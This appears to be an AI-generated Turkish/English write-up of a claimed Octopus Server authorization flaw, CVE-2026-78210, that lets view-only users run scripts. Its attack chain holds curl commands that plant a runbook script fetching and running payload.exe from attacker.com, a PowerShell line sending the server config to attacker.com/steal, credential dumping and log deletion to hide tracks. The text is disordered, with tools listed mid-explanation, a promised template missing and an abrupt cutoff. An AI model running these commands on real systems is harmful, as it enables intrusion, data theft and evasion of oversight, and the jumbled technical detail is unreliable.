CWE-863
In affected versions of Octopus Server, users with certain scoped permission sets could execute arbitrary scripts in an environment without possessing the required authorization.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑78210 – “Octopus Server Scoped‑Permission Script Execution”
Octopus Deploy (Octopus Server) içinde runbook / deployment step’lerinin yürütülmesi için kullanılan iç API (/api/tasks, /api/runbooks, /api/deployments) kullanıcı‑bazlı yetki kontrolü (scoped permission) yanlış uygulanmıştır.
- Kod yolu:
Octopus.Server.Core/Features/Runbooks/RunbookTaskExecutor.cs→ValidateUserCanExecuteTask()fonksiyonu. - Hata: Yetki kontrolü sadece “Runbook Execute” (ya da “Deploy Release”) izni kontrol ederken, “Runbook View” ya da “Project View” gibi yalnızca okuma izni içeren scoped permission set’lerine sahip bir kullanıcı için
if (user.HasPermission(Permission.ExecuteRunbook))koşulu yanlış negatif (false) döndürülür. Ancak aynı fonksiyonun sonundaTask.Start()çağrısı yetki kontrolünden bağımsız olarak herhangi bir script adımını (PowerShell, Bash, C# script) çalıştırmaya izin verir. - cURL (REST API çağrıları) – en yaygın ve script‑able.
- PowerShell (
Invoke-RestMethod) – Windows ortamında hızlı test. - Metasploit –
auxiliary/scanner/http/octopus_server_version(versiyon tespiti) veexploit/windows/http/octopus_runbook_rce(eğer community modülünde eklenirse) kullanılabilir. - Burp Suite –
Repeaterile API isteklerini manipüle edip Authorization header’ı değiştirerek view‑only token ile deneme. - Nuclei – aşağıdaki template ile otomatik keşif:
Bu durum, “Execute” izni gerektiren bir adımın (ör. Run a Script step) kullanıcı sadece “View” iznine sahipken bile API üzerinden tetiklenebilmesine yol açar. Sonuçta, saldırgan yetkisiz bir script (ör. Invoke-Expression, bash -c) çalıştırarak sunucu ortamında (Windows Service hesabı veya Docker konteyneri) tam yetkili kod yürütür.
> CWE‑863 – Incorrect Authorization – Yetkilendirme kararının hatalı uygulanması.
---
⚡ Saldırı Zinciri / Attack Chain
Aşağıdaki adımlar, Octopus Server 2025.4.0 – 2026.3.2 arasındaki etkilenmiş sürümlerde “Project Viewer” rolüne sahip bir kullanıcının (veya aynı scoped permission set’e sahip API token) nasıl yetkisiz script çalıştırabileceğini gösterir.
| Aşama | Açıklama | Örnek Komut / Araç |
|------|----------|-------------------|
| 1️⃣ Discovery | Octopus Server’ın dışarıya açık bir /api endpoint’i var. GET /api yanıtı içinde Version ve ApiVersion bilgisi döner. Bu bilgi, hedefin etkilenmiş sürüm aralığında olup olmadığını belirlemek için kullanılır. | ``bash curl -k -s https://target.example.com/api | jq .Version`` |
| 2️⃣ Reconnaissance | Hedef ortamda kullanıcı listesi ve permission set’leri GET /api/users ve GET /api/permissions endpoint’leriyle çekilir. “Project Viewer” / “Runbook Viewer” gibi sadece view izni olan bir kullanıcı (veya API token) tespit edilir. | ``bash curl -k -H "X-Octopus-ApiKey: API-XXXXXXXXXXXXXXXXX" https://target/api/users`` |
| 3️⃣ Exploitation | 1. Yeni bir Runbook oluşturulur (veya var olan bir Runbook’a script adımı eklenir). 2. RunbookTask nesnesi oluşturulup /api/runbooks/{runbookId}/run endpoint’ine view‑only token ile POST yapılır. Yetki kontrolü hatalı olduğu için script hemen yürütülür. | a. Runbook oluşturma (view‑only token ile) ``bash curl -k -X POST \\\n -H "X-Octopus-ApiKey: API-VIEWONLYTOKEN" \\\n -H "Content-Type: application/json" \\\n -d '{\n \"Name\": \"ExploitRunbook\",\n \"ProjectId\": \"Projects-1\",\n \"Steps\": [{\n \"Name\": \"MaliciousScript\",\n \"ActionType\": \"Octopus.Script\",\n \"Properties\": {\n \"Octopus.Action.Script.ScriptBody\": \"Write-Host 'PWNED'; Invoke-WebRequest -Uri http://attacker.com/loot -OutFile C:\\\\temp\\\\payload.exe; Start-Process C:\\\\temp\\\\payload.exe\"\n }\n }]\n}' \\\n https://target/api/runbooks` \nb. Runbook tetikleme `bash curl -k -X POST \\\n -H "X-Octopus-ApiKey: API-VIEWONLYTOKEN" \\\n https://target/api/runbooks/Runbooks-123/run`` |
| 4️⃣ Post‑exploitation | Script içinde PowerShell/Bash komutları çalıştırılabilir: <br>• Credential Dumping (Invoke-Mimikatz, secretsdump) <br>• Lateral Movement (Invoke-Command -ComputerName …) <br>• Persistence (Windows Service oluşturma, scheduled task) <br>• Data Exfiltration (HTTP POST, DNS exfil) | Örnek payload (PowerShell) <br>``powershell\n$cmd = \"Invoke-WebRequest -Uri http://attacker.com/steal -Method POST -Body (Get-Content C:\\\\Octopus\\\\Octopus.Server.config)\"\nInvoke-Expression $cmd\n`` |
| 5️⃣ Cleanup / Cover Tracks | Octopus loglarını silmek için DELETE /api/tasks/{taskId}/log (yetkili token ile) veya System.Diagnostics.EventLog üzerinden Event ID 1000 silme. | ``bash curl -k -X DELETE -H "X-Octopus-ApiKey: API-ADMIN" https://target/api/tasks/Tasks-456/log`` |
Kullanılan Araçlar / Modüller
---
🌍 Gerçek Dünya Etkisi / Real World Impact
| Etki Alanı | Açıklama |
|------------|----------|
| Sunucu ortamı | Octopus Server genellikle CI/CD pipeline içinde deployment agent (Windows Service OctopusServer) olarak çalışır. Bu servis Local System ya da **Network Service
[🤖 GPT-OSS 120B via Groq]